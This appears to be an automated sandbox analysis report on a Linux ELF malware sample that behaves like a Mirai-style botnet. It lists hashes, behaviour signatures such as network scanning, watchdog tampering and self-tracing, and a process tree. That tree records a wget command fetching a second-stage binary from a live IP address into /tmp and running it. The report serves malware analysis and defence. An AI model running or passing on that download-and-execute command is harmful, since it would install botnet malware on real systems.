Overview

overview

9

Static

static

1

azsxd.i5.elf

ubuntu-18.04-amd64

9

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/06/2026, 01:55

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General

  • Target
    azsxd.i5.elf
  • Size 60KB
  • Sample260609-ccd3csaz2l
  • SHA256 aecd51e3d27fe0b2ed2214f64a520797cc81db19c86536e5b9a2e09cba7dc736
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscovery

Malware Config

Signatures

  • Contacts a large (14530) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Traces itself 1 IoCs

    Traces itself to prevent debugging attempts

  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 1 IoCs
  • Changes its process name 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 56 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/azsxd.i5.elf
    /tmp/azsxd.i5.elf
    1⤵
    • Modifies Watchdog functionality
    • Traces itself
    • Writes file to system bin folder
    • Changes its process name
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    PID:1496
    • /usr/bin/wget
      /usr/bin/wget http://185.228.26.16///azsxd.x86 -O /tmp/azsxd.x86
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /tmp/azsxd.x86
      /tmp/azsxd.x86
      2⤵
        PID:1518

    Network

          MITRE ATT&CK Enterprise v16

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